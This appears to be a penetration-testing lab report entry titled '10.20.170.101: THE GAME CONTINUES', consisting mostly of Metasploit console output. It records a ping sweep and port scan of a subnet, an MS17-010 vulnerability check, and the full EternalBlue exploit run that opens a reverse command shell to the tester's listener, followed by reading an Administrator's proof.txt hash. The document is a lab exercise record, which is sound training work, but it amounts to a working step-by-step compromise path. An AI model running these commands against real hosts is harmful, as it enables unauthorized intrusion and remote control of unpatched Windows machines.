10.20.170.101: THE GAME CONTINUES

Hash file:

```
C:\Users\Administrator.TSULIK-0344\Desktop>type proof.txt
type proof.txt
499693592e0e4bcf87887cd60d6c5726
```

Attack path:

```
meterpreter > run netenum -ps -r 10.20.170.0/24
[*] Network Enumerator Meterpreter Script
[*] Log file being saved in /root/.msf4/logs/scripts/netenum/10.20.160.125
[*] Performing ping sweep for IP range 10.20.170.0/24
[*]     10.20.170.100 host found
[*]     10.20.170.101 host found
[*]     10.20.170.104 host found
[*]     10.20.170.123 host found
msf5 auxiliary(scanner/portscan/tcp) > run

[+] 10.20.170.101:        - 10.20.170.101:135 - TCP OPEN
[+] 10.20.170.101:        - 10.20.170.101:139 - TCP OPEN
[+] 10.20.170.101:        - 10.20.170.101:445 - TCP OPEN
[+] 10.20.170.101:        - 10.20.170.101:3389 - TCP OPEN
^C[*] 10.20.170.101:        - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.20.170.101:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.20.170.101:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.20.170.101
rhosts => 10.20.170.101
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.20.150.106:4444
[+] 10.20.170.101:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.20.170.101:445 - Connecting to target for exploitation.
[+] 10.20.170.101:445 - Connection established for exploitation.
[+] 10.20.170.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.20.170.101:445 - CORE raw buffer dump (38 bytes)
[*] 10.20.170.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 10.20.170.101:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
[*] 10.20.170.101:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1
[+] 10.20.170.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.20.170.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.20.170.101:445 - Sending all but last fragment of exploit packet
[*] 10.20.170.101:445 - Starting non-paged pool grooming
[+] 10.20.170.101:445 - Sending SMBv2 buffers
[+] 10.20.170.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.20.170.101:445 - Sending final SMBv2 buffers.
[*] 10.20.170.101:445 - Sending last fragment of exploit packet!
[*] 10.20.170.101:445 - Receiving response from exploit packet
[+] 10.20.170.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.20.170.101:445 - Sending egg to corrupted connection.
[*] 10.20.170.101:445 - Triggering free of corrupted buffer.
[*] Command shell session 2 opened (10.20.150.106:4444 -> 10.20.170.101:49492) at 2019-08-01 22:18:37 -0400
```